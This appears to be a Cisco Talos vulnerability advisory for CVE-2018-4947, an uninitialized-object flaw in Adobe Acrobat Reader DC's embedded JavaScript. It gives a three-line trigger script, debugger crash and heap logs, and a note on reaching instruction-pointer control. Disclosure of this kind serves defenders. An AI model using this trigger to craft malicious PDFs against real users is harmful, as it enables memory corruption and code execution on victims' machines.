CVE-2018-4947
A specific Javascript script embedded in a PDF file can lead to a pointer to previously freed object to be reused when opening a PDF document in Adobe Acrobat Reader DC 2018.009.20044. With careful memory manipulation, this can potentially lead to sensitive memory disclosure or arbitrary code execution. In order to trigger this vulnerability, the victim would need to open the malicious file or access a malicious web page.
Adobe Acrobat Reader DC 2018.009.20044
6.8 - CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H
CWE-908: Use of Uninitialized Resource
Adobe Acrobat Reader is the most popular and most feature-rich PDF reader. It has a big user base, is usually a default PDF reader on systems and integrates into web browsers as a plugin for rendering PDFs. As such, tricking a user into visiting a malicious web page or sending a specially crafted email attachment can be enough to trigger this vulnerability. The method calls required to trigger this vulnerability are privileged and can only be called from trusted functions.
Adobe Acrobat Reader DC supports embedded Javascript scripts in the PDF to allow for interactive PDF forms This give the potential attacker the ability to precisely control memory layout and poses additional attack surface.
While executing a following piece of javascript code a specific condition leading to memory corruption can occur (it should be noted that all three of these lines require higher privileges, meaning they must be executed in a trusted PDF file):
var a = this.Collab.drivers;
this.SetRSSMethods( );
this.ANFancyAlertImpl(this);
Upon calling this.ANFancyAlertImpl(this)
a memory object will be allocated. The pointer to this object is later passed to other functions without it being initialized. This leads to undefined behaviour that depends on the previous contents of the same memory region, leading to memory corruption and ultimately to arbitrary code execution.
Two pointers from the object end up being used as second two arguments in a memcpy
call which can easily be abused to cause a heap-based buffer overflow:
(660.8f0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
DC\Reader\plug_ins\Annots.api
Reader DC\Reader\plug_ins\Annots.api -
eax=81818180 ebx=c0c0c0c0 ecx=c0c0c0c0 edx=c0c0c0c0 esi=c0c0c0c0 edi=36dbafe0
eip=645ff26d esp=001ac70c ebp=001ac738 iopl=0 nv up ei pl nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210203
MSVCR120!memcpy+0x2a:
645ff26d f3a4 rep movs byte ptr es:[edi],byte ptr [esi]
0:000> k
# ChildEBP RetAddr
00 001ac710 7748e62e MSVCR120!memcpy+0x2a [f:\dd\vctools\crt\crtw32\string\i386\memcpy.asm @ 188]
WARNING: Stack unwind information not available. Following frames may be wrong.
01 001ac738 7748e5a2 Annots!PlugInMain+0xa72d
02 001ac760 7748e3c6 Annots!PlugInMain+0xa6a1
03 001ac770 776412e1 Annots!PlugInMain+0xa4c5
04 001ac780 774f7258 Annots!PlugInMain+0x1bd3e0
05 001ac7ac 570bd6b2 Annots!PlugInMain+0x73357
06 001ac81c 570c1c35 EScript!mozilla::HashBytes+0x2d050
07 001ac84c 5709387b EScript!mozilla::HashBytes+0x315d3
08 001ac8dc 570932df EScript!mozilla::HashBytes+0x3219
09 001ac8f8 570bd21d EScript!mozilla::HashBytes+0x2c7d
0a 001ac944 570bd1b0 EScript!mozilla::HashBytes+0x2cbbb
Stepping back a couple of function calls reveals where the memcpy
arguments come from:
0:000> bp Annots!PluginMain+0x1bd3db b
breakpoint 0 redefined
0:000> g
Breakpoint 0 hit
eax=267eef94 ebx=00000000 ecx=0030c438 edx=77898090 esi=1f266fc0 edi=2902efb8
eip=776412dc esp=0030c414 ebp=0030c41c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
Annots!PlugInMain+0x1bd3db:
776412dc e8cdd0e4ff call Annots!PlugInMain+0xa4ad (7748e3ae)
0:000> u eip-1
Annots!PlugInMain+0x1bd3da:
776412db 50 push eax
776412dc e8cdd0e4ff call Annots!PlugInMain+0xa4ad (7748e3ae)
776412e1 8b4508 mov eax,dword ptr [ebp+8]
776412e4 8be5 mov esp,ebp
776412e6 5d pop ebp
776412e7 c20400 ret 4
776412ea 55 push ebp
776412eb 8bec mov ebp,esp
0:000> dd poi(eax)
26a5efe8 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
26a5eff8 c0c0c0c0 c0c0c0c0 ???????? ????????
26a5f008 ???????? ???????? ???????? ????????
26a5f018 ???????? ???????? ???????? ????????
26a5f028 ???????? ???????? ???????? ????????
26a5f038 ???????? ???????? ???????? ????????
26a5f048 ???????? ???????? ???????? ????????
26a5f058 ???????? ???????? ???????? ????????
0:000> !heap -p -a poi(eax)
address 26a5efe8 found in
_DPH_HEAP_ROOT @ 61000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
26954750: 26a5efb8 48 - 26a5e000 2000
6ac68e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77276206 ntdll!RtlDebugAllocateHeap+0x00000030
7723a127 ntdll!RtlpAllocateHeap+0x000000c4
77205950 ntdll!RtlAllocateHeap+0x0000023a
6326ed43 MSVCR120!malloc+0x00000049 [f:\dd\vctools\crt\crtw32\heap\malloc.c @ 92]
6326ee1c MSVCR120!operator new+0x0000001d [f:\dd\vctools\crt\crtw32\heap\new.cpp @ 59]
7748a048 Annots!PlugInMain+0x00006147
7748a00b Annots!PlugInMain+0x0000610a
7748daea Annots!PlugInMain+0x00009be9
774890a1 Annots!PlugInMain+0x000051a0
7748f546 Annots!PlugInMain+0x0000b645
774a5069 Annots!PlugInMain+0x00021168
7763d75e Annots!PlugInMain+0x001b985d
515db634 EScript!mozilla::HashBytes+0x0004afd2
515db51f EScript!mozilla::HashBytes+0x0004aebd
7763d6ab Annots!PlugInMain+0x001b97aa
774a5069 Annots!PlugInMain+0x00021168
7763d75e Annots!PlugInMain+0x001b985d
515db634 EScript!mozilla::HashBytes+0x0004afd2
515db51f EScript!mozilla::HashBytes+0x0004aebd
7763d6ab Annots!PlugInMain+0x001b97aa
774a5069 Annots!PlugInMain+0x00021168
774a4f71 Annots!PlugInMain+0x00021070
7762aaa2 Annots!PlugInMain+0x001a6ba1
7762aad8 Annots!PlugInMain+0x001a6bd7
77626588 Annots!PlugInMain+0x001a2687
7762af80 Annots!PlugInMain+0x001a707f
51f8ab90 AcroRd32!AIDE::PixelPartInfo::operator=+0x000e3210
515d267d EScript!mozilla::HashBytes+0x0004201b
515b75b6 EScript!mozilla::HashBytes+0x00026f54
515b17c2 EScript!mozilla::HashBytes+0x00021160
515b05f0 EScript!mozilla::HashBytes+0x0001ff8e
In the above debugging log, we break at Annots!PluginMain+0x1bd3db
to reveal eax
being passed as argument to the function call points to a newly allocated and uninitialized buffer. With page heap enabled, the contents of the allocated memory will be filled with 0xc0c0c0c0
.
The code and memory layout after corruption just happen to line up in such a way to allow for easy eip
control by simply adjusting the size and contents of environment variables:
# set AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=AAAAAAAAAAAAAAAAAAAAAAAA....
# cdb "c:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "c:\Users\user\Desktop\js_memcpy_min.pdf"
Microsoft (R) Windows Debugger Version 10.0.15063.468 X86
Copyright (c) Microsoft Corporation. All rights reserved.
CommandLine: "c:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "c:\Users\user\Desktop\js_memcpy_min.pdf"
Symbol search path is: srv*
Executable search path is:
ModLoad: 013b0000 015d5000 AcroRd32.exe
ModLoad: 771b0000 772f2000 ntdll.dll
ModLoad: 75d80000 75e55000 C:\Windows\system32\kernel32.dll
ModLoad: 75340000 7538b000 C:\Windows\system32\KERNELBASE.dll
ModLoad: 75690000 75759000 C:\Windows\system32\USER32.dll
ModLoad: 75400000 7544e000 C:\Windows\system32\GDI32.dll
ModLoad: 75f50000 75f5a000 C:\Windows\system32\LPK.dll
ModLoad: 75450000 754ed000 C:\Windows\system32\USP10.dll
ModLoad: 758d0000 7597c000 C:\Windows\system32\msvcrt.dll
ModLoad: 75f60000 76001000 C:\Windows\system32\ADVAPI32.dll
ModLoad: 761b0000 761c9000 C:\Windows\SYSTEM32\sechost.dll
ModLoad: 75550000 755f2000 C:\Windows\system32\RPCRT4.dll
ModLoad: 75a40000 75a97000 C:\Windows\system32\SHLWAPI.dll
(8b0.3f8): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=001bf42c edx=771f6c74 esi=fffffffe edi=00000000
eip=772505d9 esp=001bf448 ebp=001bf474 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!LdrpDoDebuggerBreak+0x2c:
772505d9 cc int 3
0:000> g
ModLoad: 75e60000 75e7f000 C:\Windows\system32\IMM32.DLL
ModLoad: 753f0000 753f6000 C:\Windows\system32\NSI.dll
(8b0.3f8): C++ EH exception - code e06d7363 (first chance)
ModLoad: 74f60000 74fac000 C:\Windows\system32\apphelp.dll
ModLoad: 64a70000 64ac1000 c:\Program Files\Adobe\Acrobat Reader DC\Reader\sqlite.dll
(8b0.3f8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=046503d8 ebx=00000000 ecx=046503d8 edx=06672fc8 esi=03f75478 edi=0656ffe8
eip=41414141 esp=001bc14c ebp=001bc174 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210206
41414141 ?? ???
Crash output with PageHeap enabled:
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for c:\Program Files\Adobe\Acrobat Reader DC\Reader\plug_ins\Annots.api
*** ERROR: Symbol file could not be found. Defaulted to export symbols for c:\Program Files\Adobe\Acrobat Reader DC\Reader\plug_ins\Annots.api -
eax=011716ce ebx=00000002 ecx=011716cc edx=011716cc esi=00000002 edi=37561000
eip=6326f26d esp=0016c6f0 ebp=0016c71c iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210213
MSVCR120!memcpy+0x2a:
6326f26d f3a4 rep movs byte ptr es:[edi],byte ptr [esi]
0:000> k
ChildEBP RetAddr
0016c6f4 7748e62e MSVCR120!memcpy+0x2a
WARNING: Stack unwind information not available. Following frames may be wrong.
0016c71c 7748e5a2 Annots!PlugInMain+0xa72d
0016c744 7748e3c6 Annots!PlugInMain+0xa6a1
0016c754 776412e1 Annots!PlugInMain+0xa4c5
0016c764 774f7258 Annots!PlugInMain+0x1bd3e0
*** WARNING: Unable to verify checksum for c:\Program Files\Adobe\Acrobat Reader DC\Reader\plug_ins\EScript.api
*** ERROR: Symbol file could not be found. Defaulted to export symbols for c:\Program Files\Adobe\Acrobat Reader DC\Reader\plug_ins\EScript.api -
0016c790 515bd6b2 Annots!PlugInMain+0x73357
0016c800 515c1c35 EScript!mozilla::HashBytes+0x2d050
0016c830 5159387b EScript!mozilla::HashBytes+0x315d3
0016c8c0 515932df EScript!mozilla::HashBytes+0x3219
0016c8dc 515bd21d EScript!mozilla::HashBytes+0x2c7d
0016c928 515bd1b0 EScript!mozilla::HashBytes+0x2cbbb
0016c944 515c1a3e EScript!mozilla::HashBytes+0x2cb4e
0016c960 515c19d5 EScript!mozilla::HashBytes+0x313dc
0016c990 515db61f EScript!mozilla::HashBytes+0x31373
0016c9e4 515db51f EScript!mozilla::HashBytes+0x4afbd
0016c9fc 7763d6c7 EScript!mozilla::HashBytes+0x4aebd
0016ca3c 774a5069 Annots!PlugInMain+0x1b97c6
0016ca5c 774a4f71 Annots!PlugInMain+0x21168
0016ca9c 7763d663 Annots!PlugInMain+0x21070
0016cadc 774a5069 Annots!PlugInMain+0x1b9762
0016cafc 7763d75e Annots!PlugInMain+0x21168
0016cb2c 515db634 Annots!PlugInMain+0x1b985d
2018-01-23 - Vendor Disclosure
2018-05-15 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.